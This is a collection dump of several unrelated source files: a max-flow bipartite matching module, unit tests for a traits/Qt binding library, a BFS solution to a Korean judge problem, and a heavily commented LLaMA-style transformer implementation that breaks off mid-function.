np.zeros((total_nodes, total_nodes))\n\n        # connecting source_node with left side\n        vec[source_node, left_side] = 1\n        vec[left_side, source_node] = 1\n        capacity[left_side, source_node] = sourceSinkCap\n        capacity[source_node, left_side] = sourceSinkCap\n\n        # connecting right_side with sink_node\n        vec[sink_node, right_side] = 1\n        vec[right_side, sink_node] = 1\n        capacity[right_side, sink_node] = sourceSinkCap\n        capacity[sink_node, right_side] = sourceSinkCap\n\n        for v in right_side:\n            neighbours = graph.list(v)\n            vec[neighbours, v] = 1\n            vec[v, neighbours] = 1\n            capacity[v, neighbours] = 1\n            capacity[neighbours, v] = 1\n\n        max_matches = MaxFlow.run_max_flow(source_node, sink_node, total_nodes, vec, capacity)\n\n        trends = [[graph.size, max_matches]] * (graph.size_right + 1)\n\n        return max_matches, trends\n\n    @staticmethod\n    def find_max_bipartite_with_cap(graph: GraphBase, sourceSinkCap: int = 1) -> \\\n            Tuple[int, List, ndarray]:\n\n        left_side = graph.get_independent_set(BipartiteSet.left)\n        right_side = graph.get_independent_set(BipartiteSet.right)\n\n        source_node = graph.size\n        sink_node = graph.size + 1\n        total_nodes = graph.size + 2\n\n        vec = np.full(shape=(total_nodes, total_nodes), fill_value=-1, dtype=int)\n        capacity = np.zeros((total_nodes, total_nodes))\n\n        # connecting source_node with left side\n        vec[source_node, left_side] = 1\n        vec[left_side, source_node] = 1\n        capacity[left_side, source_node] = sourceSinkCap\n        capacity[source_node, left_side] = sourceSinkCap\n\n        # connecting right_side with sink_node\n        vec[sink_node, right_side] = 1\n        vec[right_side, sink_node] = 1\n        capacity[right_side, sink_node] = sourceSinkCap\n        capacity[sink_node, right_side] = sourceSinkCap\n\n        for v in right_side:\n            neighbours = graph.list(v)\n            vec[neighbours, v] = 1\n            vec[v, neighbours] = 1\n            capacity[v, neighbours] = 1\n            capacity[neighbours, v] = 1\n\n        max_matches = MaxFlow.run_max_flow(source_node, sink_node, total_nodes, vec, capacity)\n\n        trends = [[graph.size, max_matches]] * (graph.size_right + 1)\n\n        return max_matches, trends, capacity\n\n    def run(self, graph: GraphBase, **kwargs) -> Tuple[int, Union[List, None]]:\n        max_matches, trends = self.find_max_bipartite(graph)\n\n        return max_matches, trends\n","repo_name":"habedi77/maximum-matching","sub_path":"maximum_matching/algorithms/max_flow.py","file_name":"max_flow.py","file_ext":"py","file_size_in_byte":5249,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"20816387652","text":"import unittest\n\nimport six\n\nfrom traits.api import Any, Event, HasTraits, NO_COMPARE, \\\n    pop_exception_handler, push_exception_handler, Instance\n\nfrom ..binder import Binder\nfrom ..binding import Binding, Factory, PulledFrom, PushedTo, SetOnceTo, \\\n    SyncedWith, find_ext_attrs\n\n\nclass DummyBinder(Binder):\n    x = Any(comparison_mode=NO_COMPARE)\n    child = Instance(HasTraits)\n\n\nclass DummyModel(HasTraits):\n    y = Any(10, comparison_mode=NO_COMPARE)\n    event = Event()\n\n\nclass TestBinding(unittest.TestCase):\n\n    def setUp(self):\n        self.binder = DummyBinder()\n        self.model = DummyModel()\n        self.blah = DummyBinder()\n        self.context = dict(\n            object=self.model,\n            blah=self.blah,\n        )\n        push_exception_handler(lambda *args, **kwds: None,\n                               reraise_exceptions=True)\n\n    def tearDown(self):\n        pop_exception_handler()\n\n    def test_find_ext_attr(self):\n        pairs = [\n            ('object', []),  # no dots\n            ('object.foo', ['object.foo']),\n            ('object.foo.bar', ['object.foo.bar']),\n            ('object.foo + 10', ['object.foo']),\n            ('object.foo + str(int)', ['object.foo']),\n            ('object.foo + str(int)', ['object.foo']),\n            ('object.foo + handler.bar', ['object.foo', 'handler.bar']),\n            ('object.foo + handler.func(10)', ['object.foo', 'handler.func']),\n            ('object.foo + \"ohm.m\"', ['object.foo']),\n            ('object.foo + \"ohm.m\".format.__name__', ['object.foo']),\n            ('(object.foo).text()', ['object.foo']),\n        ]\n        for expr, ext_attrs in pairs:\n            found = find_ext_attrs(expr)\n            six.assertCountEqual(self, found, ext_attrs)\n\n    def test_parse_binding(self):\n        pairs = [\n            ('text = object.text',\n             SetOnceTo('text', 'object.text')),\n            ('text=object.text',\n             SetOnceTo('text', 'object.text')),\n            ('checked = object.text == \"blah\"',\n             SetOnceTo('checked', 'object.text == \"blah\"')),\n            ('text = object.func(value=\"blah\")',\n             SetOnceTo('text', 'object.func(value=\"blah\")')),\n            ('text << object.text',\n             PulledFrom('text', 'object.text')),\n            ('text<<object.text',\n             PulledFrom('text', 'object.text')),\n            ('value << object.value << 2',\n             PulledFrom('value', 'object.value << 2')),\n            ('value << object.value >> 2',\n             PulledFrom('value', 'object.value >> 2')),\n            ('text >> object.text',\n             PushedTo('text', 'object.text')),\n            ('text>>object.text',\n             PushedTo('text', 'object.text')),\n            ('value >> object.value >> 2',\n             PushedTo('value', 'object.value >> 2')),\n            ('value >> object.value << 2',\n             PushedTo('value', 'object.value << 2')),\n            ('value := object.value',\n             SyncedWith('value', 'object.value')),\n            ('value:=object.value',\n             SyncedWith('value', 'object.value')),\n            ('lineEdit.text << object.text',\n             PulledFrom('lineEdit.text', 'object.text')),\n        ]\n        for text, binding in pairs:\n            parsed = Binding.parse(text)\n            self.assertEqual(parsed, binding)\n            self.assertEqual(hash(parsed), hash(binding))\n            self.assertFalse(parsed != binding)\n            self.assertFalse(parsed == 10)\n            self.assertIs(Binding.parse(binding), binding)\n        factory = Factory('text', lambda: 'foo')\n        self.assertIs(Binding.parse(factory), factory)\n        for bad in [None, ('value', 'object.value')]:\n            with self.assertRaises(TypeError):\n                Binding.parse(bad)\n\n    def test_set_once_to(self):\n        binding = SetOnceTo('x', 'object.y')\n        binding.bind(self.binder, self.context)\n        self.assertEqual(self.binder.x, 10)\n        self.model.y = 20\n        self.assertEqual(self.binder.x, 10)\n        binding.unbind()\n        self.model.y = 30\n        self.assertEqual(self.binder.x, 10)\n\n    def test_factory(self):\n        binding = Factory('x', lambda: self.model.y)\n        binding.bind(self.binder, self.context)\n        self.assertEqual(self.binder.x, 10)\n        self.model.y = 20\n        self.assertEqual(self.binder.x, 10)\n        binding.unbind()\n        self.model.y = 30\n        self.assertEqual(self.binder.x, 10)\n\n    def test_pulled_from_trait(self):\n        binding = PulledFrom('x', 'object.y')\n        binding.bind(self.binder, self.context)\n        self.assertEqual(self.binder.x, 10)\n        self.model.y = 20\n        self.assertEqual(self.binder.x, 20)\n        binding.unbind()\n        self.model.y = 30\n        self.assertEqual(self.binder.x, 20)\n\n    def test_pulled_from_expression(self):\n        binding = PulledFrom('x', 'object.y + 5')\n        binding.bind(self.binder, self.context)\n        self.assertEqual(self.binder.x, 15)\n        self.model.y = 20\n        self.assertEqual(self.binder.x, 25)\n        binding.unbind()\n        self.model.y = 30\n        self.assertEqual(self.binder.x, 25)\n\n    def test_pulled_from_event(self):\n        binding = PulledFrom('x', 'object.event')\n        binding.bind(self.binder, self.context)\n        self.assertIsNone(self.binder.x)\n        self.model.event = 10\n        self.assertEqual(self.binder.x, 10)\n        binding.unbind()\n        self.model.event = 20\n        self.assertEqual(self.binder.x, 10)\n\n    def test_pushed_to(self):\n        binding = PushedTo('x', 'object.y')\n        binding.bind(self.binder, self.context)\n        # PushedTo does not initialize the model.\n        self.assertEqual(self.model.y, 10)\n        self.binder.x = 20\n        self.assertEqual(self.model.y, 20)\n        binding.unbind()\n        self.binder.x = 30\n        self.assertEqual(self.model.y, 20)\n\n    def test_synced_with(self):\n        binding = SyncedWith('x', 'object.y')\n        binding.bind(self.binder, self.context)\n        self.assertEqual(self.binder.x, 10)\n        self.model.y = 20\n        self.assertEqual(self.binder.x, 20)\n        self.binder.x = 25\n        self.assertEqual(self.model.y, 25)\n        binding.unbind()\n        self.model.y = 30\n        self.assertEqual(self.binder.x, 25)\n        self.binder.x = 35\n        self.assertEqual(self.model.y, 30)\n\n    def test_child(self):\n        self.binder.child = DummyBinder()\n        binding = SyncedWith('child.x', 'object.y')\n        binding.bind(self.binder, self.context)\n        self.assertIsNone(self.binder.x)\n        self.assertEqual(self.binder.child.x, 10)\n        self.model.y = 20\n        self.assertEqual(self.binder.child.x, 20)\n        self.binder.child.x = 25\n        self.assertEqual(self.model.y, 25)\n        binding.unbind()\n        self.model.y = 30\n        self.assertEqual(self.binder.child.x, 25)\n        self.binder.child.x = 35\n        self.assertEqual(self.model.y, 30)\n\n    def test_binder_in_context(self):\n        binding = PulledFrom('blah.x', 'object.y')\n        binding.bind(self.binder, self.context)\n        self.assertEqual(self.blah.x, 10)\n        self.model.y = 20\n        self.assertEqual(self.blah.x, 20)\n        binding.unbind()\n        self.model.y = 30\n        self.assertEqual(self.blah.x, 20)\n","repo_name":"enthought/qt_binder","sub_path":"qt_binder/tests/test_binding.py","file_name":"test_binding.py","file_ext":"py","file_size_in_byte":7264,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"16"}
+{"seq_id":"128173121","text":"# Solved on 2022. 1. 29.\n# 2583 영역 구하기\n\nfrom collections import deque\nimport sys\ninput = sys.stdin.readline\n\n\ndef bfs(x, y):\n    queue = deque()\n    queue.append((x, y))\n    dx, dy = [1, -1, 0, 0], [0, 0, 1, -1]\n    count = 2\n    graph[x][y] = 1\n    while queue:\n        x, y = queue.popleft()\n        for i in range(4):\n            nx, ny = x + dx[i], y + dy[i]\n            if nx < 0 or ny < 0 or nx >= M or ny >= N:\n                continue\n            if graph[nx][ny] == 0:\n                graph[nx][ny] = count\n                count += 1\n                queue.append((nx, ny))\n    return count - 1\n\n\nM, N, K = map(int, input().split())\ngraph = [[0] * N for _ in range(M)]\nfor _ in range(K):\n    ax, ay, bx, by = map(int, input().split())\n    for i in range(ay, by):\n        for j in range(ax, bx):\n            graph[i][j] = -1\n\nres = []\nfor i in range(M):\n    for j in range(N):\n        if graph[i][j] == 0:\n            res.append(bfs(i, j))\n\nres.sort()\nprint(len(res))\nprint(*res)\n","repo_name":"gemstoneyang/Algorithm","sub_path":"BOJ/DFS_and_BFS/2583.py","file_name":"2583.py","file_ext":"py","file_size_in_byte":997,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"42149042602","text":"# mypy: ignore-errors\nimport math\nfrom dataclasses import dataclass\nfrom typing import List, Optional, Tuple, Union\n\nimport torch\nimport torch.nn as nn\nfrom torch.nn import functional as F\nfrom typing_extensions import Self\n\nfrom domi.utils import find_multiple, domi_config\n\n\"\"\"\nThis cache stores the mask used in the attention computation as they \ndont change throughout the sequance generation process.\n\nIts a 4D tensor. So if we take a specific value from this 4D tensor, \nsay mask_cache[a][b][c][d], it represents whether the c-th token in a \nsequence of length b can attend to the d-th token. \nIf the value is 1, it means attention is disallowed from token c to \ntoken d; if it's 0, attention is allowed.\n\nIn the context of the sentence \"India is my country\", \nwith a block size of 5, the tensor would be of shape [5, 5, 5, 5]. \nFor instance, mask_cache[4][3][1][4] would tell us if the second token \nin a sequence of length 4 can attend to the fifth token. \nSince our sentence only has 4 tokens, the mask value would be 1, \nindicating that attention is disallowed because the fifth token \ndoesn't exist in our sentence.\n\n\"\"\"\nMaskCache = torch.Tensor\n\n\"\"\"\nThis cache Store the Rotary Position Embedding avoiding comutiing them\nagain and again as they dont chage over differnt runs. \n\nThe size of rope_cache is typically [block_size, n_embd], where \nblock_size is the length of the block (i.e., sequence length) and \nn_embd is the dimensionality of the embeddings.\n\"\"\"\nRoPECache = torch.Tensor\n\n\"\"\"\nThis cache stores the key and value tensors in the self-attnetion mechanis of the transformer\nthe key and value of each postion up to the current positon remais the same.\n\nEach tensor is a 4D tensor of size [B, n_head, max_seq_length, \nhead_size], where B is the batch size, n_head is the number of attention \nheads, max_seq_length is the maximum sequence length, and head_size \nis the size of each head (which is n_embd divided by n_head).\n\"\"\"\nKVCache = Tuple[torch.Tensor, torch.Tensor]\n\n\n@dataclass\nclass DomiConfig:\n    \"\"\"\n    block_size:  this is the max length of input sequence\n    \n    vocab_size: this is the size of the vocab the model is using. This\n    directly affects the size of the embeddings layer, as each token in\n    the vocab needs an embedding\n    \n    padded_vocab_size: this param is used for tensor operations that\n    may need the vocab size to be a multiple of a certain number. If its\n    not provided, its computed using the 'find_multiple' function to be \n    the smallest multiple of 64 that is greater than or equal to vocab_size\n    \n    n_layer: the number of layers in the transformer model, here a \n    transfomer blocks that includes self attention and feed forward NN\n    \n    n_head: the number of attention heads in the self-attention mechanism.\n    each head allows the model to focus on different part of th input when\n    computing attnetion output\n    \n    n_embd: dimensionality of the embeddings in the model. this is also the \n    size of the hidden state in the transfomation layers\n    \n    __post_init__: special python method thats called afger the class is\n    initialized. here it is used to compute the 'padded_vocab_size'\n    \n    from_name ->self: allows to create an isnatnce of DomiConfig by\n    providing the name of a preset congifuation., in our case domi_configs\n    defined later where keys are config names and values are dict of params.\n    The mthod will fetch the params for specified config and use them to create\n    an instance of the DomiConfig\n    \n    \"\"\"\n    block_size: int = 2048\n    vocab_size: int = 32000\n    padded_vocab_size: Optional[int] = None\n    n_layer: int = 32\n    n_head: int = 32\n    n_embd: int = 4096\n\n    def __post_init__(self):\n        if self.padded_vocab_size is None:\n            self.padded_vocab_size = find_multiple(self.vocab_size, 64)\n\n    @classmethod\n    def from_name(cls, name: str) -> Self:\n        return cls(**domi_config[name])\n\n\nclass DOMI(nn.Module):\n    def __init__(self, config: DomiConfig) -> None:\n        \n        super().__init__()\n        assert config.padded_vocab_size is not None\n        self.config = config\n        \"\"\"\n         lm_head maps from the dimension of the model's internal representation \n         (config.n_embd) to the size of the vocabulary (config.padded_vocab_size), \n         allowing the model to produce a probability distribution \n         over all possible words in the vocabulary for its output.\n        \"\"\"\n        self.lm_head = nn.Linear(config.n_embd, config.padded_vocab_size, bias=False)\n        self.transformer = nn.ModuleDict(\n            dict(\n                wte=nn.Embedding(config.padded_vocab_size, config.n_embd),\n                h=nn.ModuleList(Block(config) for _ in range(config.n_layer)),\n                ln_f=RMSNorm(config.n_embd),\n            )\n        )\n\n        self.rope_cache: Optional[RoPECache] = None\n        self.mask_cache: Optional[MaskCache] = None\n        self.kv_caches: List[KVCache] = []\n\n    def _init_weights(self, module: nn.Module) -> None:\n        \"\"\"\n        This is a method to initialize the weights of the model's layers. \n        It uses different initialization depending on whether the \n        module is a linear layer or an embedding layer. It uses the \n        normal distribution to initialize weights.\n        \"\"\"\n\n        if isinstance(module, nn.Linear):\n            torch.nn.init.normal_(module.weight, mean=0.0, std=0.02 / math.sqrt(2 * self.config.n_layer))\n        elif isinstance(module, nn.Embedding):\n            torch.nn.init.normal_(module.weight, mean=0.0, std=0.02 / math.sqrt(2 * self.config.n_layer))\n            \n\n    def forward(\n        self, idx: torch.Tensor, max_seq_length: Optional[int] = None, input_pos: Optional[torch.Tensor] = None\n    ) -> Union[torch.Tensor, Tuple[torch.Tensor, List[KVCache]]]:\n        \"\"\"\n        Let's assume we're dealing with a batch of size B, each consisting of a sequence of length T, \n        and we're using the configuration \"7B\" as the LLaMAConfig for this model. So, according to the \"7B\" \n        configuration, n_embd=4096, n_layer=32, n_head=32, vocab_size=32000, padded_vocab_size will be the \n        smallest multiple of 64 greater than or equal to vocab_size, and block_size=2048.\n        \n        Input: The forward pass receives an input tensor idx with shape (B, T), \n        where B is the batch size and T is the sequence length. For instance, let's say our batch size \n        is 10 and sequence length is 2000, so the input tensor size is (10, 2000).\n        \n        Initial Checks: The forward function first verifies the lengths of the sequences, block size, \n        and maximum sequence length. If these values are not set, they are defaulted to the block_size \n        from the LLaMAConfig which is 2048.\n        \n        Then the forward model goes ahead and builds the cache for rope and mask if they dont exist.\n        \n        IF input_pos is not None, it used the Pytorch function 'index_select' to seelct positional encodings \n        and masks correspoding to the input position. 'index_slect' takes an input tensor, a dimension along\n        which to index(0 for rope and 2 for masks) and the indices to select. In this case, input_pos is a\n        tensor of indices , so it selects the position encodings and masks corresponding to these positions.\n        \n        \n        \n        \"\"\"\n        B, T = idx.size()\n\n        block_size = self.config.block_size\n        if max_seq_length is None:\n            max_seq_length = block_size\n        assert T <= max_seq_length, f\"Cannot forward sequence of length {T}, max seq length is only {max_seq_length}\"\n        assert max_seq_length <= block_size, f\"Cannot attend to {max_seq_length}, block size is only {block_size}\"\n        assert T <= block_size, f\"Cannot forward sequence of length {T}, block size is only {block_size}\"\n\n        if self.rope_cache is None:\n            self.rope_cache = self.build_rope_cache(idx)\n        if self.mask_cache is None:\n            self.mask_cache = self.build_mask_cache(idx)\n\n        if input_pos is not None:\n            # Selects the postional encoding that corresponds to the positions in 'input_pos'\n            rope = self.rope_cache.index_select(0, input_pos)\n            # Selects the attention masks corresponding the the postions in 'input_pos'\n            mask = self.mask_cache.index_select(2, input_pos)\n            # Trims the mask to the maximum sequence length.\n            mask = mask[:, :, :, :max_seq_length]\n        else:\n            rope = self.rope_cache[:T]\n            mask = self.mask_cache[:, :, :T, :T]\n\n        # forward the model itself\n        \"\"\"\n        The input tensor 'idx'(batch_size, sequence_lenght) is passed on to the embedding layer.\n        it results in a 3-dim tensor 'x' of shape (b, t, n_embed)\n        \"\"\"\n        x = self.transformer.wte(idx)  # token embeddings of shape (b, t, n_embd)\n\n        if input_pos is None:  # proxy for use_cache=False\n            \"\"\"\n            processes the sequence without caching\n            \"\"\"\n            for block in self.transformer.h:\n                x, _ = block(x, rope, mask, max_seq_length)\n        else:\n            if not self.kv_caches:\n                \"\"\"\n                if cache is not initialized, it will be created with the shape.\n                The cache is a list of tuples (key and value) of zeros tensors, with each tuple\n                corresponding to a layer in the transformation model.\n                \n                then the input tensor is again passed through each transformation block, but this time\n                the block also receives input position and the corresponding cache. the key value pair\n                caches returned by the blocks are saved back into kv_cache.\n                \"\"\"\n                head_size = self.config.n_embd // self.config.n_head\n                cache_shape = (B, self.config.n_head, max_seq_length, head_size)\n                self.kv_caches = [\n                    (torch.zeros(cache_shape, device=x.device, dtype=x.dtype), torch.zeros(cache_shape, device=x.device, dtype=x.dtype))\n                    for _ in range(self.config.n_layer)\n                ]\n            for i, block in enumerate(self.transformer.h):\n                x, self.kv_caches[i] = block(x, rope, mask, max_seq_length, input_pos, self.kv_caches[i])\n\n\n        #The output from the transfomer blocks is then normalized using the final layer normalization.        \n        x = self.transformer.ln_f(x)\n\n        logits = self.lm_head(x)  # (b, t, vocab_size)\n\n        return logits\n    \n    @classmethod\n    def from_name(cls, name: str) -> Self:\n        \"\"\"\n        Getting the confinguration dict to use from the name, e.g. 7B\n        \"\"\"\n        return cls(DomiConfig.from_name(name))\n\n    def build_rope_cache(self, idx: torch.Tensor) -> RoPECache:\n        \"\"\"\n        The function calls the below build rope cache function and\n        builds the cache for RoPE\n        \"\"\"\n        return build_rope_cache(\n            seq_len=self.config.block_size,\n            n_elem=self.config.n_embd // self.config.n_head,\n            dtype=idx.dtype,\n            device=idx.device,\n        )\n\n    def build_mask_cache(self, idx: torch.Tensor) -> MaskCache:\n        \"\"\"\n        This function builds a cache for the attenstion masks used in the transformer\n        model. This is used to prevent attention from further position in the\n        sequence. \n        \n        A metric of ones with dimension (block_size, block_size) is created.\n        The upper traingular part of the matrix is set to zero using the\n        'torch.tril()' function which means only the lower triangle and diagonals\n        are filled with ones\n        The resulting mask is unsqueezed twice to add two dimensions at the front, \n        resulting in 4D tensor\n        \"\"\"\n        ones = torch.ones((self.config.block_size, self.config.block_size), device=idx.device, dtype=torch.bool)\n        return torch.tril(ones).unsqueeze(0).unsqueeze(0)\n\n    def reset_cache(self) -> None:\n        \"\"\"\n        Used to reset the cache.\n        it also has a specific condition when cache is stored in 'xla' device type\n        in which case the rope and mask caches are set to None. XLA refers to\n        google accelerated linear algebra, a domina sepcific compiler for linear\n        algebra that can be used to acclearate TensorFlow computations.\n        \"\"\"\n        self.kv_caches.clear()\n        if self.mask_cache.device.type == \"xla\":\n            # https://github.com/Lightning-AI/lit-parrot/pull/83#issuecomment-1558150179\n            self.rope_cache = None\n            self.mask_cache = None\n    \n    \nclass CausalSelfAttention(nn.Module):\n    \"\"\"\n    In the constructor two linear layers c_attn and c_proj are intialized\n    The c_attn layer transforms the input to create queries, keys and values\n    for each attention head, while the 'c_proj' layer transforms the output\n    of the attention mechanism back to its original dimension.\n    \n    In the forward layer, the input x is first transformed by c_attn into\n    queries, keys and values. Then apply_rote method applies the rotary position\n    embedding  to both queries and keys. \n    \n    Then the dimensions of Q,K,V are permuted so that the head dimension comes\n    before the sequence length. This is done to facilitate the subsequent  matrix \n    operations for calculating the subsequent matrix opeartions for calculating\n    the attention score\n    \n    If the cache is not 'None' we are using cached results to improve computational\n    efficiency, typically when genrating sequences token by token (like in autoregressive\n    decoding). In this case, the caceh is updated to store the current keys and values.\n    \n    The scaled dot porduct attnetion computed the dot product of the queries and the keys,\n    scales them, applied a mask, and then applies a softmax function to obtain the final\n    attention score. These scores are used to create a weighted sum of the values 'v'\n    yielding the output of the attention mechanism. 'y\n    \n    The output tensor y is reshaped to combine the results from differnt attention heads\n    side by side, and then it is transformed back to the original embedding dimension by\n    the 'c_proj' layer.\n    \"\"\"\n    def __init__(self, config: DomiConfig) -> None:\n        super().__init__()\n        assert config.n_embd % config.n_head == 0\n\n        # key, query, value projections for all heads, but in a batch\n        self.c_attn = nn.Linear(config.n_embd, 3 * config.n_embd, bias=False)\n        # output projection\n        self.c_proj = nn.Linear(config.n_embd, config.n_embd, bias=False)\n\n        self.n_head = config.n_head\n        self.n_embd = config.n_embd\n        self.block_size = config.block_size\n\n    def forward(\n        self,\n        x: torch.Tensor,\n        rope: RoPECache,\n        mask: MaskCache,\n        max_seq_length: int,\n        input_pos: Optional[torch.Tensor] = None,\n        kv_cache: Optional[KVCache] = None,\n    ) -> Tuple[torch.Tensor, Optional[KVCache]]:\n        B, T, C = x.size()  # batch size, sequence length, embedding dimensionality (n_embd)\n\n        # calculate query, key, values for all heads in batch and move head forward to be the batch dim\n        q, k, v = self.c_attn(x).split(self.n_embd, dim=2)\n\n        head_size = C // self.n_head\n        k = k.view(B, T, self.n_head, head_size)\n        q = q.view(B, T, self.n_head, head_size)\n        v = v.view(B, T, self.n_head, head_size)\n\n        q = apply_rope(q, rope)\n        k = apply_rope(k, rope)\n\n        k = k.transpose(1, 2)  # (B, nh, T, hs)\n        q = q.transpose(1, 2)  # (B, nh, T, hs)\n        v = v.transpose(1, 2)  # (B, nh, T, hs)\n\n        if kv_cache is not None:\n            #Unpacking the cache keys and values from the previous steps. \n            # size is (batch_size, num_heads, seq_lenght, head_size)\n            cache_k, cache_v = kv_cache\n            # check if reached token limit. if true, cache has reached its limit\n            #we need to make room for new tokens\n            if input_pos[-1] >= max_seq_length:\n                input_pos = torch.tensor(max_seq_length - 1, device=input_pos.device)\n                # shift all enties in the cache 1 position to the left.\n                #the oldest key value pair is discarded and a new pair is opened up at the end\n                cache_k = torch.roll(cache_k, -1, dims=2)\n                cache_v = torch.roll(cache_v, -1, dims=2)\n            #Update the cache at the position given by input_pos with the newly computed \n            # keys 'k' & values 'v\n            k = cache_k.index_copy(2, input_pos, k)\n            v = cache_v.index_copy(2, input_pos, v)\n            kv_cache = k, v\n\n        # efficient attention using Flash Attention CUDA kernels\n        y = F.scaled_dot_product_attention(q, k, v, attn_mask=mask, dropout_p=0.0)\n\n        y = y.transpose(1, 2).contiguous().view(B, T, C)  # re-assemble all head outputs side by side\n\n        # output projection\n        y = self.c_proj(y)\n\n        return y, kv_cache\n    \n\nclass Block(nn.Module):\n    \"\"\"\n    in the forward layer, first RMS normalization is applied to the\n    input 'x', then passes the normalized data through the self -attention\n    mechanism. 'rope' and 'mask' are positional encoding ans mask resp,\n    and kv_cache is a chace for the key value pairs in the self-attention\n    mechanism. The output 'h' is the result of applying the self-attention \n    and new_kv_cache is the updated cache of key value pair\n    \n    x = x + h . This line adds the output of self attention layer to the\n    original input. This is so called residual connection which helps\n    mitigate the vanishing graidient problem in deep networks\n    \n    x = x + self.mlp(self.rms_2(x)). The input is again passed through the\n    RMS normalization , then passed to MLP . The result is added to the\n    input for another residual connection.\n    \n    The forward layer returns the final 'x' and the updates key-value\n    cache 'new_kv_cache'\n    \n    This blocks contatins a single transformation block. There will be\n    multiple such blocks stacked one on top of each other.\n    \"\"\"\n    def __init__(self, config: DomiConfig) -> None:\n        super().__init__()\n        self.rms_1 = RMSNorm(config.n_embd)\n        self.attn = CausalSelfAttention(config)\n        self.rms_2 = RMSNorm(config.n_embd)\n        self.mlp = MLP(config)\n\n    def forward(\n        self,\n        x: torch.Tensor,\n        rope: RoPECache,\n        mask: MaskCache,\n        max_seq_length: int,\n        input_pos: Optional[torch.Tensor] = None,\n        kv_cache: Optional[KVCache] = None,\n    ) -> Tuple[torch.Tensor, Optional[KVCache]]:\n        h, new_kv_cache = self.attn(self.rms_1(x), rope, mask, max_seq_length, input_pos, kv_cache)\n        x = x + h\n        x = x + self.mlp(self.rms_2(x))\n        return x, new_kv_cache\n\nclass MLP(nn.Module):\n    \"\"\"\n    In the constructor, the hidden_dim is kept as 4 times the embed dim.\n    and n_hidden as 2/3 of hidden_dim. The find mulitple adjust n_hidden\n    so that it is a multiple of 256 which can make computations more\n    efficient.\n    \n    The first c_fc1 is a linear transformation with input dim config.n_embed \n    and output og n_hidden. The second layer c_fc2 is also a linear transformation\n    with same dimension. This c_proj projects from n_hidden state back to\n    embedding dimension.\n    \n    In the forwarding method, input x is first transformed by c_fc1 and then\n    an activation function sigmoid linear unit is applied. this is element\n    wise multiplied by c_fc2 layer. This is most likely for residual connection\n    \n    The resul is then transformed by c_proj and this final transformed version of\n    x is returned.\n    \"\"\"\n    \n    def __init__(self, config: DomiConfig) -> None:\n        super().__init__()\n        hidden_dim = 4 * config.n_embd\n        n_hidden = int(2 * hidden_dim / 3)\n        n_hidden = find_multiple(n_hidden, 256)\n\n        self.c_fc1 = nn.Linear(config.n_embd, n_hidden, bias=False)\n        self.c_fc2 = nn.Linear(config.n_embd, n_hidden, bias=False)\n        self.c_proj = nn.Linear(n_hidden, config.n_embd, bias=False)\n\n    def forward(self, x: torch.Tensor) -> torch.Tensor:\n        x = F.silu(self.c_fc1(x)) * self.c_fc2(x)\n        x = self.c_proj(x)\n        return x\n\nclass RMSNorm(nn.Module):\n    \"\"\"\n    RMS normalization operates on the given tensor x. It is similar to\n    standard layer normalization but instead of using the mean and variance,\n    it uses the square root of the mean of the square elements. This provides\n    a scaling factor for the normalization which can be beneficial.\n    \n    The constructor initialized a sacle parameter as a learnable pytorch\n    parameter and sets the epsilon(used for numerical stability) and the \n    dimension on which the normalization should be performed.\n    \n    The forward method calculates the root mean suqare of x.\n    Then it calculates x_normed by scaling x with the reciprocal square \n    root of the norm.\n    The scaled tensor is then multiplied by the learnable 'scale' parameter\n    \"\"\"\n\n    def __init__(self, size: int, dim: int = -1, eps: float = 1e-5) -> None:\n        super().__init__()\n        self.scale = nn.Parameter(torch.ones(size))\n        self.eps = eps\n        self.dim = dim\n\n    def forward(self, x: torch.Tensor) -> torch.Tensor:\n        norm_x = torch.mean(x * x, dim=self.dim, keepdim=True)\n        x_normed = x * torch.rsqrt(norm_x + self.eps)\n        return self.scale * x_normed\n\n\ndef build_rope_cache(\n    seq_len: int, n_elem: int, dtype: torch.dtype, device: torch.device, base: int = 10000\n) -> RoPECache:\n    \"\"\"\n    This function generates the rotational embedding matrix, which is the same size as the input sequence \n    length seq_len and dimensionality n_elem. base is the constant used in calculating the rotation angles.\n    \n    The purpose of this function is to prepare a cache of rotation angles, theta, that are multiplied \n    with the position index, seq_idx, to generate idx_theta. Finally, the function returns a cache that \n    contains the cosine and sine values of idx_theta. The dtype and device adjustments are made to \n    ensure the calculations are consistent with the original implementation.\n    \n    \"\"\"\n    # $\\Theta = {\\theta_i = 10000^{\\frac{2(i-1)}{d}}, i \\in [1, 2, ..., \\frac{d}{2}]}$\n    theta = 1.0 / (base ** (torch.arange(0, n_elem, 2, dtype=dtype, device=device) / n_elem))\n\n    # Create position indexes `[0, 1, ..., seq_len - 1]`\n    seq_idx = torch.arange(seq_len, dtype=dtype, device=device)\n\n    # Calculate the product of position index and $\\theta_i$\n    idx_theta = torch.outer(seq_idx, theta).float()\n\n    cache = torch.stack([torch.cos(idx_theta), torch.sin(idx_theta)], dim=-1)\n\n    # this is to mimic the behaviour of complex32, else we will get different results\n    if dtype in (torch.float16, torch.bfloat16, torch.int8):\n        cache = cache.half()\n    return cache\n\n\ndef apply_rope(x: torch.Tensor, rope_cache: RoPECache) -> torch.Tensor:\n    \"\"\"\n    This function applies the rotational positional embedding to the input tensor x. \n    It first adjusts the rope_cache size to match the input sequence length. \n    Then, the input tensor x and rope_cache are reshaped to facilitate element-wise multiplication and \n    addition operations. These operations are then applied, essentially rotating the original embeddings \n    in the complex plane. The final tensor x_out2 is reshaped and returned with the same dtype as the \n    input tensor x.\n    \n    Now let's create an example:\n\n    Suppose we have an input tensor x of size (batch_size=2, seq_len=5, n_elem=6). \n    Here, we have 2 sequences, each of length 5 and each element in the sequence is represented \n    by an embedding of size 6.\n    \n    After running this code, it will be a tensor of the same size as x but with the positional information \n    encoded through rotations.\n\n    Regarding the size of rope_cache, it should be a tensor of shape (seq_len, n_elem // 2, 2), \n    which comes from stacking cosine and sine values of the product of the sequence index and theta. \n    In our example, rope_cache would have a shape of (5, 3, 2).\n    \"\"\"\n    # truncate to support variable sizes\n    T = x.size(1)\n    rope_cache = rope_cache[:T]\n\n    # cast because the reference does\n    xshaped = x.float().reshape(*x.shape[:-1], -1, 2)\n    rope_cache = rope_cache.view(1, xshaped.size(1), 1, xshaped.size(3), 2)\n    x_out2 = torch.stack(\n        [\n            xshaped[..., 0] * rope_cache[..., 0] - xshaped[..., 1] * rope_cache[..., 1],\n            xshaped[..., 1] * rope_cache[..., 0] + xshaped[..., 